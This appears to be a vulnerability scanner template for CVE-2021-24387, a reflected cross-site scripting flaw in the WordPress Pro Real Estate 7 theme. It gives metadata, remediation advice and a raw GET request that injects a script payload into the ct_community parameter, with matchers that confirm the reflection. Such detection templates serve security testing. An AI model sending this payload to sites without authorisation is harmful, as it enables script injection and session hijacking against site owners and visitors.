CVE-2021-24387: WordPress Pro Real Estate 7 Theme <3.1.1 - Cross-Site Scripting

id: CVE-2021-24387

info:
  name: WordPress Pro Real Estate 7 Theme <3.1.1 - Cross-Site Scripting
  author: suman_kar
  severity: medium
  description: |
    WordPress Pro Real Estate 7 theme before 3.1.1 contains a reflected cross-site scripting vulnerability. It does not properly sanitize the ct_community parameter in its search listing page before outputting it back.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update WordPress Pro Real Estate 7 Theme to version 3.1.1 or later to mitigate the vulnerability.
  reference:
    - https://cxsecurity.com/issue/WLB-2021070041
    - https://wpscan.com/vulnerability/27264f30-71d5-4d2b-8f36-4009a2be6745
    - https://contempothemes.com/wp-real-estate-7/changelog/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24387
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24387
    cwe-id: CWE-79
    epss-score: 0.42184
    epss-percentile: 0.97363
    cpe: cpe:2.3:a:contempothemes:real_estate_7:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: contempothemes
    product: real_estate_7
    framework: wordpress
  tags: cve,cve2021,xss,wordpress,wpscan,contempothemes

http:
  - raw:
      - |
        GET /?ct_mobile_keyword&ct_keyword&ct_city&ct_zipcode&search-listings=true&ct_price_from&ct_price_to&ct_beds_plus&ct_baths_plus&ct_sqft_from&ct_sqft_to&ct_lotsize_from&ct_lotsize_to&ct_year_from&ct_year_to&ct_community=%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&ct_mls&ct_brokerage=0&lat&lng HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain);</script>'
          - '/wp-content/themes/realestate'
        condition: and

      - type: status
        status:
          - 200
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